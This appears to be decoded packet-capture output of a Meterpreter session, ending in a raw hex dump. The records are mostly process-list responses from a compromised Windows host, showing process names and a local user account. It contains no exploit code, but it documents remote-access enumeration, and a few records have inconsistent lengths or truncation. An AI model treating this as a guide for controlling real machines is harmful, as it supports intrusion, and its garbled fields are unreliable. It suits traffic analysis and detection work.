    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000009840000000c000104124e2f4100... [Value] ⍰⍰⍰� �⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000009940000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000009940000000c000104124e2f4100... [Value] ⍰⍰⍰� �⍰⍰⍰⍰N/A⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000099c0000000c... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc0000099c0000000c000104124e2f4100... [Value] ⍰⍰⍰� �⍰⍰⍰⍰N/
A⍰⍰⍰�TeamViewer_Service.exe⍰⍰⍰�TeamViewer_Service.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000009a80000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000009a80000000c000104124e2f4100... [Value] ⍰⍰⍰� �⍰⍰⍰⍰N/A⍰⍰⍰�MsMpEng.exe⍰⍰⍰�MsMpEng.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000009e80000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000009e80000000c000104124e2f4100... [Value] ⍰⍰⍰� �⍰⍰⍰⍰N/A⍰⍰⍰�dasHost.exe⍰⍰⍰�dasHost.exe
Meterpreter protocol, TLV details
    Data: 00000056400008ff0000000c000208fc00000a900000000c... [TLV]
    Command: 0x00000056 [Length]: 86
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000a900000000c000104124e2f4100... [Value] ⍰⍰⍰�
�⍰⍰⍰⍰N/A⍰⍰⍰�Memory Compression⍰⍰⍰�Memory Compression
Meterpreter protocol, TLV details
    Data: 00000046400008ff0000000c000208fc00000e840000000c... [TLV]
    Command: 0x00000046 [Length]: 70
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000e840000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�NisSrv.exe⍰⍰⍰�NisSrv.exe
Meterpreter protocol, TLV details
    Data: 00000044400008ff0000000c000208fc00000e080000000c... [TLV]
    Command: 0x00000044 [Length]: 68
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000e080000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰⍰⍰⍰⍰⍰N/A⍰⍰⍰�csrss.exe⍰⍰⍰�csrss.exe
Meterpreter protocol, TLV details
    Data: 0000004a400008ff0000000c000208fc00000f600000000c... [TLV]
    Command: 0x0000004a [Length]: 74
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000f600000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰`⍰⍰⍰⍰N/A⍰⍰⍰�winlogon.exe⍰⍰⍰�winlogon.exe
Meterpreter protocol, TLV details
    Data: 00000040400008ff0000000c000208fc000005f00000000c... [TLV]
    Command: 0x00000040 [Length]: 64
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000005f00000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�dwm.exe⍰⍰⍰�dwm.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00000b6000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000b600000002400010412736663700... [Value] ⍰⍰⍰�⍰`$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�sihost.exe⍰⍰⍰�sihost.exe
Meterpreter protocol, TLV details
    Data: 00000060400008ff0000000c000208fc00000d8000000024... [TLV]
    Command: 0x00000060 [Length]: 96
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000d800000002400010412736663700... [Value] ⍰⍰⍰� �$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�svchost.exe⍰⍰⍰�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000064400008ff0000000c000208fc00000bc000000024... [TLV]
    Command: 0x00000064 [Length]: 100
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000bc00000002400010412736663700... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�taskhostw.exe⍰⍰⍰�taskhostw.exe
Meterpreter protocol, TLV details
    Data: 00000062400008ff0000000c000208fc0000052c00000024... [TLV]
    Command: 0x00000062 [Length]: 98
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc0000052c0000002400010412736663700... [Value] ⍰⍰⍰�⍰,$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�explorer.exe⍰⍰⍰�explorer.exe
Meterpreter protocol, TLV details
    Data: 0000006c400008ff0000000c000208fc000010bc00000024... [TLV]
    Command: 0x0000006c [Length]: 108
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000010bc0000002400010412736663700... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�RuntimeBroker.exe⍰⍰⍰�RuntimeBroker.exe
Meterpreter protocol, TLV details
    Data: 00000078400008ff0000000c000208fc000017c000000024... [TLV]
    Command: 0x00000078 [Length]: 120
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000017c00000002400010412736663700... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-usuario
⍰⍰�ShellExperienceHost.exe ⍰⍰�ShellExperienceHost.exe
Meterpreter protocol, TLV details
    Data: 00000062400008ff0000000c000208fc0000162400000024... [TLV]
    Command: 0x00000062 [Length]: 98
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000016240000002400010412736663700... [Value] ⍰⍰⍰�⍰$$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�SearchUI.exe⍰⍰⍰�SearchUI.exe
```

```
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000188800000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001888000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�TabTip.exe⍰⍰⍰�TabTip.exe
Meterpreter protocol, TLV details
    Data: 00000062400008ff0000000c000208fc00001a1c00000024... [TLV]
    Command: 0x00000062 [Length]: 98
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001a1c000000240001041273666370... [Value] ⍰⍰⍰�⍰⍰$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�TabTip32.exe⍰⍰⍰�TabTip32.exe
Meterpreter protocol, TLV details
    Data: 00000062400008ff0000000c000208fc0000105000000024... [TLV]
    Command: 0x00000062 [Length]: 98
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001050000000240001041273666370... [Value] ⍰⍰⍰�⍰P$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�MSASCuiL.exe⍰⍰⍰�MSASCuiL.exe
Meterpreter protocol, TLV details
    Data: 00000062400008ff0000000c000208fc000019c800000024... [TLV]
    Command: 0x00000062 [Length]: 98
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000019c8000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�OneDrive.exe⍰⍰⍰�OneDrive.exe
Meterpreter protocol, TLV details
    Data: 00000070400008ff0000000c000208fc00000de000000024... [TLV]
    Command: 0x00000070 [Length]: 112
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000de0000000240001041273666370... [Value] ⍰⍰⍰� �$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�googledrivesync.exe⍰⍰⍰�googledrivesync.exe
Meterpreter protocol, TLV details
    Data: 00000066400008ff0000000c000208fc0000126400000024... [TLV]
    Command: 0x00000066 [Length]: 102
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001264000000240001041273666370... [Value] ⍰⍰⍰�⍰d$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�vspdfprsrv.exe⍰⍰⍰�vspdfprsrv.exe
Meterpreter protocol, TLV details
    Data: 00000070400008ff0000000c000208fc0000146000000024... [TLV]
    Command: 0x00000070 [Length]: 112
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001460000000240001041273666370... [Value] ⍰⍰⍰�⍰`$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�googledrivesync.exe⍰⍰⍰�googledrivesync.exe
Meterpreter protocol, TLV details
    Data: 00000050400008ff0000000c000208fc000017800000000c... [TLV]
    Command: 0x00000050 [Length]: 80
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc0000178000000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�fontdrvhost.exe⍰⍰⍰�fontdrvhost.exe
Meterpreter protocol, TLV details
    Data: 00000068400008ff0000000c000208fc0000167800000024... [TLV]
    Command: 0x00000068 [Length]: 104
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001678000000240001041273666370... [Value] ⍰⍰⍰�⍰x$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�LockAppHost.exe⍰⍰⍰�LockAppHost.exe
Meterpreter protocol, TLV details
    Data: 0000007a400008ff0000000c000208fc00000ecc00000024... [TLV]
    Command: 0x0000007a [Length]: 122
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000ecc000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-usuario!⍰⍰
�ApplicationFrameHost.exe!⍰⍰�ApplicationFrameHost.exe
Meterpreter protocol, TLV details
    Data: 0000005a400008ff0000000c000208fc00001db40000000c... [TLV]
    Command: 0x0000005a [Length]: 90
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001db400000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/
A⍰⍰⍰�OfficeClickToRun.exe⍰⍰⍰�OfficeClickToRun.exe
Meterpreter protocol, TLV details
    Data: 0000006a400008ff0000000c000208fc0000049800000024... [TLV]
    Command: 0x0000006a [Length]: 106
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000498000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�AppVShNotify.exe⍰⍰⍰�AppVShNotify.exe
Meterpreter protocol, TLV details
    Data: 00000062400008ff0000000c000208fc00001a6000000024... [TLV]
    Command: 0x00000062 [Length]: 98
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001a60000000240001041273666370... [Value] ⍰⍰⍰�⍰`$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�ONENOTEM.EXE⍰⍰⍰�ONENOTEM.EXE
Meterpreter protocol, TLV details
    Data: 00000054400008ff0000000c000208fc00001a340000000c... [TLV]
    Command: 0x00000054 [Length]: 84
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001a340000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰4⍰⍰⍰⍰N/A⍰⍰⍰�SearchIndexer.exe⍰⍰⍰�SearchIndexer.exe
Meterpreter protocol, TLV details
    Data: 00000064400008ff0000000c000208fc00001cbc00000024... [TLV]
    Command: 0x00000064 [Length]: 100
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001cbc000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�SkypeHost.exe⍰⍰⍰�SkypeHost.exe
Meterpreter protocol, TLV details
    Data: 0000004a400008ff0000000c000208fc000018600000000c... [TLV]
    Command: 0x0000004a [Length]: 74
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000018600000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰`⍰⍰⍰⍰N/A⍰⍰⍰�MpCmdRun.exe⍰⍰⍰�MpCmdRun.exe
Meterpreter protocol, TLV details
    Data: 00000066400008ff0000000c000208fc00000f0400000024... [TLV]
    Command: 0x00000066 [Length]: 102
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000f04000000240001041273666370... [Value] ⍰⍰⍰�⍰⍰$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�VirtualBox.exe⍰⍰⍰�VirtualBox.exe
Meterpreter protocol, TLV details
    Data: 00000060400008ff0000000c000208fc0000124000000024... [TLV]
    Command: 0x00000060 [Length]: 96
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001240000000240001041273666370... [Value] ⍰⍰⍰�⍰@$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�VBoxSVC.exe⍰⍰⍰�VBoxSVC.exe
Meterpreter protocol, TLV details
    Data: 00000060400008ff0000000c000208fc00001b9400000024... [TLV]
    Command: 0x00000060 [Length]: 96
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001b94000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�WINWORD.EXE⍰⍰⍰�WINWORD.EXE
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001dc000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001dc0000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000105c00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc0000105c000000240001041273666370... [Value] ⍰⍰⍰�⍰\$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001e0800000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001e08000000240001041273666370... [Value] ⍰⍰⍰�⍰⍰$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001d5000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001d50000000240001041273666370... [Value] ⍰⍰⍰�⍰P$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000165c00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc0000165c000000240001041273666370... [Value] ⍰⍰⍰�⍰\$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001c2c00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001c2c000000240001041273666370... [Value] ⍰⍰⍰�⍰,$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00000da800000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000da8000000240001041273666370... [Value] ⍰⍰⍰� �$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc000014dc00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000014dc000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000114400000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001144000000240001041273666370... [Value] ⍰⍰⍰�⍰D$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000102000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001020000000240001041273666370... [Value] ⍰⍰⍰�⍰ $⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00000e4c00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000e4c000000240001041273666370... [Value] ⍰⍰⍰�⍰L$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00000e5400000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000e54000000240001041273666370... [Value] ⍰⍰⍰�⍰T$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc000019f800000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000019f8000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000191000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001910000000240001041273666370... [Value] ⍰⍰⍰�⍰⍰$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc000003d400000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000003d4000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000017bc0000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000017bc0000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�audiodg.exe⍰⍰⍰�audiodg.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001c8c00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001c8c000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001a4000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001a40000000240001041273666370... [Value] ⍰⍰⍰�⍰@$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00000b3c00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000b3c000000240001041273666370... [Value] ⍰⍰⍰�⍰<$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001ad000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001ad0000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000005400000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000054000000240001041273666370... [Value] ⍰⍰⍰�T$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00000c4000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000c40000000240001041273666370... [Value] ⍰⍰⍰�⍰@$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
```

```
    Data: 0000005e400008ff0000000c000208fc00000b9000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000b90000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000068000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000680000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000103000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001030000000240001041273666370... [Value] ⍰⍰⍰�⍰0$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc000006b000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000006b0000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc000014c800000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000014c8000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001db800000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001db8000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000101400000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001014000000240001041273666370... [Value] ⍰⍰⍰�⍰⍰$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc000018ec00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000018ec000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001c4000000024... [TLV]
    Command: 0x0000005e [Length]: 46
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001c40000000240001041273666370... [Value] ⍰⍰⍰�⍰@$⍰⍰⍰sfcpro3-chemi\chem
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  20 28 0d d7 40 00 80 06 49 55 c0 a8 01 29 c0 a8    (..@...IU...)..
0020  01 2a c6 50 11 5c a3 79 27 e1 2e 7d 3a 12 50 18   .*.P.\.y'..}:.P.
0030  08 01 a3 be 00 00 00 00 2d f0 00 00 00 01 00 00   ........-.......
0040  00 29 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .)....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 67 65 74 5f 70 72 6f   _process_get_pro
0060  63 65 73 73 65 73 00 00 00 00 29 00 01 00 02 36   cesses....)....6
0070  38 38 31 31 39 36 34 39 36 31 31 39 30 30 31 30   8811964961190010
0080  39 39 39 33 31 37 33 32 37 38 37 33 30 31 35 00   999317327873015.
0090  00 00 00 68 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...h@...........
00a0  00 00 00 00 00 00 00 1c 00 01 04 12 4e 54 20 41   ............NT A
00b0  55 54 48 4f 52 49 54 59 5c 53 59 53 54 45 4d 00   UTHORITY\SYSTEM.
00c0  00 00 00 1c 00 01 08 fd 53 79 73 74 65 6d 20 49   ........System I
00d0  64 6c 65 20 50 72 6f 63 65 73 73 00 00 00 00 1c   dle Process.....
00e0  00 01 08 fe 53 79 73 74 65 6d 20 49 64 6c 65 20   ....System Idle 
